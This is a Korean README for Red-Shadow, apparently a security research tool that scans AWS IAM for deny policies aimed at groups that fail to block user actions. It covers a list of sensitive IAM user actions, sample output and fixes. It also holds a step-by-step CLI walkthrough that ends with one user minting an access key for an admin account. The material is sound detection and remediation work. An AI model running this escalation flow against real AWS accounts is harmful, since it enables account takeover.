
AWS IAM 구성을 스캔하여 그룹에 대한 사용자 작업을 제한하지 못하는 잘못 구성된 deny 정책을 감지함으로써 섀도우 관리자를 탐지하고, 권한 상승 탐지 및 수정을 가능하게 합니다.
AWS IAM 구성에서 섀도우 관리자를 스캔합니다. 이는 Lightspin 보안 연구팀이 발견한, 그룹 내 사용자에게 영향을 미치지 않는 잘못 구성된 거부(deny) 정책을 기반으로 합니다.
이 도구는 다음 IAM 객체에서 잘못된 구성을 탐지합니다.
관리형 정책(Managed Policies)
사용자 인라인 정책(Users Inline Policies)
그룹 인라인 정책(Groups Inline Policies)
역할 인라인 정책(Roles Inline Policies)
그룹에 적용되는 거부 정책에 대한 AWS IAM 평가 로직은 대부분의 보안 엔지니어가 다른 권한 부여 메커니즘에 익숙한 방식과 동일하게 작동하지 않습니다.
그룹 리소스가 포함된 정책에 명시적 거부(deny)가 있다고 가정해 보겠습니다. 이 경우 해당 거부는 그룹 작업에만 영향을 미치며 사용자 작업에는 영향을 미치지 않으므로, 프로세스가 예를 들어 Active Directory와 동일하다고 가정하면 조직이 잘못된 구성과 취약점에 노출될 수 있습니다.
취약한 JSON 정책 예시:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "ProtectManagersByDeny",
"Effect": "Deny",
"Action": "*",
"Resource": "arn:aws:iam::123456789999:group/managers"
}
]
}
이 예시에서 정책은 해당 정책이 연결된 사용자, 그룹 또는 역할이 managers라는 그룹에 대해 수행하는 모든 IAM 작업을 거부해야 합니다.
그러나 실제로는 iam:ChangePassword와 같은 단순한 IAM 작업이 거부 정책이 효과적이지 않기 때문에 작동할 수 있습니다.
AWS IAM은 사용자 객체 작업과 그룹 객체 작업을 명확히 구분합니다.
다음 목록은 도구가 그룹에 영향을 미치는 거부 정책(와일드카드 제외)을 스캔하는 사용자 객체 작업입니다.
AWS_USER_ACTIONS = ["iam:CreateUser",
"iam:GetUser",
"iam:UpdateUser",
"iam:DeleteUser",
"iam:GetUserPolicy",
"iam:PutUserPolicy",
"iam:DeleteUserPolicy",
"iam:ListUserPolicies",
"iam:AttachUserPolicy",
"iam:DetachUserPolicy",
"iam:ListAttachedUserPolicies",
"iam:SimulatePrincipalPolicy",
"iam:GetContextKeysForPrincipalPolicy",
"iam:TagUser",
"iam:UpdateSSHPublicKey",
"iam:UntagUser",
"iam:GetSSHPublicKey",
"iam:ListUserTags",
"iam:DeleteSSHPublicKey",
"iam:GetLoginProfile",
"iam:GetAccessKeyLastUsed",
"iam:UpdateLoginProfile",
"iam:UploadSigningCertificate",
"iam:DeleteLoginProfile",
"iam:ListSigningCertificates",
"iam:CreateLoginProfile",
"iam:UpdateSigningCertificate",
"iam:EnableMFADevice",
"iam:DeleteSigningCertificate",
"iam:ResyncMFADevice",
"iam:ListServiceSpecificCredentials",
"iam:ListMFADevices",
"iam:ResetServiceSpecificCredential",
"iam:DeactivateMFADevice",
"iam:CreateServiceSpecificCredential",
"iam:ChangePassword",
"iam:UpdateServiceSpecificCredential",
"iam:CreateAccessKey",
"iam:DeleteServiceSpecificCredential",
"iam:ListAccessKeys",
"iam:PutUserPermissionsBoundary",
"iam:UpdateAccessKey",
"iam:DeleteUserPermissionsBoundary",
"iam:DeleteAccessKey",
"iam:ListGroupsForUser",
"iam:ListSSHPublicKeys",
"iam:UploadSSHPublicKey"]
위에 언급된 많은 사용자 객체 작업은 관리자 비밀번호 재설정, 루트 계정 MFA 비활성화 등과 같이 권한 상승 또는 계정 손상으로 쉽게 이어질 수 있습니다.
Red-Shadow는 Python 3과 Boto3로 구축되었습니다.
이 도구는 다음을 필요로 합니다.
sudo git clone https://github.com/lightspin-tech/red-shadow.git
cd red-shadow
pip3 install -r requirements.txt
python3 red-shadow.py
결과는 AWS에서 이러한 권한 부여 우회에 취약한 모든 IAM 객체를 발견합니다.
출력 예시:
++ Red-Shadow 시작 ++
++ AWS IAM 취약점 스캐너
++ Red Shadow는 그룹 내 사용자에게 영향을 미치지 않는 잘못 구성된 거부 정책을 기반으로 AWS IAM에서 섀도우 관리자를 스캔합니다.
1단계: 관리형 정책에서 IAM 그룹 잘못된 구성 검색
잠재적 잘못된 구성 발견: arn:aws:iam::123456789999:policy/ProtectManagers
진행: |██████████████████████████████████████████████████| 100.0% 완료
2단계: 사용자 인라인 정책에서 IAM 그룹 잘못된 구성 검색
진행: |██████████████████████████████████████████████████| 100.0% 완료
3단계: 그룹 인라인 정책에서 IAM 그룹 잘못된 구성 검색
진행: |██████████████████████████████████████████████████| 100.0% 완료
4단계: 역할 인라인 정책에서 IAM 그룹 잘못된 구성 검색
진행: |██████████████████████████████████████████████████| 100.0% 완료
완료
이 콘솔 출력에서 ProtectManagers 거부 정책이 효과적이지 않으며 위에서 언급한 권한 상승과 같은 공격에 취약함을 확인할 수 있습니다.
IAM 취약점을 검증하고 익스플로잇을 실행하려면 다음 흐름을 따르십시오.
aws iam create-group --group-name managersaws iam attach-group-policy --group-name managers --policy-arn arn:aws:iam::aws:policy/AdministratorAccessaws iam create-user --user-name JohnAdminaws iam add-user-to-group --user-name JohnAdmin --group-name managers{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "ProtectManagersByDeny",
"Effect": "Deny",
"Action": "*",
"Resource": "arn:aws:iam::123456789999:group/managers"
}
]
}
aws iam create-policy --policy-name ProtectManagers --policy-document file://policy.jsonaws iam create-group --group-name backend-devaws iam create-user --user-name BobAttackeraws iam add-user-to-group --user-name BobAttacker --group-name backend-devaws iam attach-group-policy --group-name backend-dev --policy-arn arn:aws:iam::123456789999:policy/ProtectManagers{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": "iam:CreateAccessKey",
"Resource": "*"
}
]
}
aws iam create-policy --policy-name devCreateAccessKeys --policy-document file://policy_iam.jsonaws iam attach-group-policy --group-name backend-dev --policy-arn arn:aws:iam::123456789999:policy/devCreateAccessKeysaws iam list-attached-group-policies --group backend-devaws iam create-access-key --user-name BobAttacker다음을 사용하여 취약점을 익스플로잇 해보겠습니다:
aws iam create-access-key --user-name JohnAdmin --profile BobAttacker
권한 상승 완료!
권한 부여 우회에 취약한 정책을 발견한 경우, 취약점을 수정하고 정책을 수정하는 두 가지 방법이 있습니다.
옵션 1: 효과가 없는 IAM 작업을 방지하기 위해 리소스 필드에 그룹 대신 관련 모든 사용자를 정의하고, 다음과 같은 예시와 같이 모든 그룹 작업을 거부합니다:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenySpecificUserActions",
"Effect": "Deny",
"Action": [
"iam:CreateLoginProfile",
"iam:ChangePassword",
"iam:CreateAccessKey"
],
"Resource": [
"arn:aws:iam::123456789999:user/[email protected]",
"arn:aws:iam::123456789999:user/[email protected]",
"arn:aws:iam::123456789999:user/[email protected]"
]
},
{
"Sid": "DenyAllGroupActions",
"Effect": "Deny",
"Action": "*",
"Resource": "arn:aws:iam::123456789999:group/managers"
}
]
}
옵션 2: 정책에서 iam:ResourceTag 조건을 사용합니다. 예시는 다음과 같습니다:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Deny",
"Action": [
"iam:CreateLoginProfile",
"iam:ChangePassword",
"iam:CreateAccessKey"
],
"Resource": "*",
"Condition": {
"ForAnyValue:StringEquals": {
"iam:ResourceTag/group": "managers"
}
}
}
]
}
이 연구는 Lightspin 보안 연구팀에 의해 수행되었습니다. 자세한 내용은 [email protected]로 문의하십시오.
이 저장소는 Apache License 2.0에 따라 사용 가능합니다.